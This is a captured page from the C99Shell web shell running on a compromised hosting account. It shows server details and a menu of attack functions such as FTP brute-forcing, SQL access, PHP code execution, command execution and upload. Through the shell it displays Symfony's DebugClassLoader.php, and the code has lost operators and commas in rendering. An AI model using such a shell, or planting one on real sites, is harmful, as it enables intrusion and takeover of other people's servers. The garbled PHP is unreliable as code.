!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php53/usr/share/pear/Symfony/Component/ClassLoader/   drwxr-xr-x
Free 293.99 GB of 429.69 GB (68.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     DebugClassLoader.php (3.28 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\ClassLoader;

/**
 * Autoloader checking if the class is really defined in the file found.
 *
 * The DebugClassLoader will wrap all registered autoloaders providing a
 * findFile method and will throw an exception if a file is found but does
 * not declare the class.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Christophe Coevoet <stof@notk.org>
 *
 * @api
 *
 * @deprecated Deprecated since version 2.4, to be removed in 3.0. Use the DebugClassLoader provided by the Debug component instead.
 */
class DebugClassLoader
{
    private 
$classFinder;

    
/**
     * Constructor.
     *
     * @param object $classFinder
     *
     * @api
     */
    
public function __construct($classFinder)
    {
        
$this->classFinder $classFinder;
    }

    
/**
     * Gets the wrapped class loader.
     *
     * @return object a class loader instance
     */
    
public function getClassLoader()
    {
        return 
$this->classFinder;
    }

    
/**
     * Replaces all autoloaders implementing a findFile method by a DebugClassLoader wrapper.
     */
    
public static function enable()
    {
        if (!
is_array($functions spl_autoload_functions())) {
            return;
        }

        foreach (
$functions as $function) {
            
spl_autoload_unregister($function);
        }

        foreach (
$functions as $function) {
            if (
is_array($function) && !$function[0] instanceof self && method_exists($function[0], 'findFile')) {
                
$function = array(new static($function[0]), 'loadClass');
            }

            
spl_autoload_register($function);
        }
    }

    
/**
     * Unregisters this instance as an autoloader.
     */
    
public function unregister()
    {
        
spl_autoload_unregister(array($this'loadClass'));
    }

    
/**
     * Finds a file by class name
     *
     * @param string $class A class name to resolve to file
     *
     * @return string|null
     */
    
public function findFile($class)
    {
        return 
$this->classFinder->findFile($class);
    }

    
/**
     * Loads the given class or interface.
     *
     * @param string $class The name of the class
     *
     * @return Boolean|null True, if loaded
     *
     * @throws \RuntimeException
     */
    
public function loadClass($class)
    {
        if (
$file $this->classFinder->findFile($class)) {
            require 
$file;

            if (!
class_exists($classfalse) && !interface_exists($classfalse) && (!function_exists('trait_exists') || !trait_exists($classfalse))) {
                if (
false !== strpos($class'/')) {
                    throw new \
RuntimeException(sprintf('Trying to autoload a class with an invalid name "%s". Be careful that the namespace separator is "\" in PHP, not "/".'$class));
                }

                throw new \
RuntimeException(sprintf('The autoloader expected class "%s" to be defined in file "%s". The file was found but the class was not in it, the class name or namespace probably has a typo.'$class$file));
            }

            return 
true;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0949 ]--